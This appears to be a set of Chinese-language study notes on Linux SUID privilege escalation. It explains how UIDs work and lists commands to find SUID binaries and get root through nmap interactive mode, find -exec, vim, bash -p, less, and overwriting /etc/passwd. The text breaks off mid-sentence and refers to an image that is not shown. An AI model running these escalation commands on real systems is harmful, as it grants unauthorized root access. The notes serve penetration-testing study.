SUID提权
SUID
通常情况下,Linux下执行程序时,所采取的权限为当前用户的权限
SUID即Set owner User ID up on execution
, 允许当前用户以文件所有者的权限来执行文件
例如常用的ping
命令,在非管理员用户下也能够进行正常执行,起原因是ping命令所对应的可执行文件设置了suid权限,使得普通用户在运行ping的执行文件时,也拥有了部分管理员权限
Linux在运行一个程序时,进程会有三个UID:
- Real UID 执行该进程的用户实际的UID
- Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限)
- Saved UID 在高权限用户降权后,保留的其原本UID
当设置了SUID的程序在运行时,Effective UID改变成此程序的所有者,比如/bin/ping
对应的所有者为Root(0),那么普通用户在执行ping指令时,Effective UID也会被设置为0,因此可以认为普通用户在执行该程序时也具有了root权限
查找具有SUID权限的文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
常见提权
nmap
nmap在进行UDP(-sU)和TCP(-sS)扫描时,会用到Raw Socket。需要有root权限,因此具有suid权限使得普通用户也能利用nmap
interactive交互模式提权
利用版本:2.02-5.21
运行指令:
nmap --interactive
进入交互模式,在交互模式中获得root
Find
find以suid权限运行,所有通过find执行的命令都为root
find xxx -exec whoami ;
Vi/Vim
vim.tiny
Press ESC key
:set shell=/bin/sh
:shell
bash
bash -p
id
less/more
less /etc/passwd
!/bin/sh
得到
exit退出
python/perl/ruby/lua/php/etc
cp覆盖/etc/passwd或/etc/passwd
例如我在自己的kali中,将kali用户修改为如图
重启便获得root权限
使用时不用再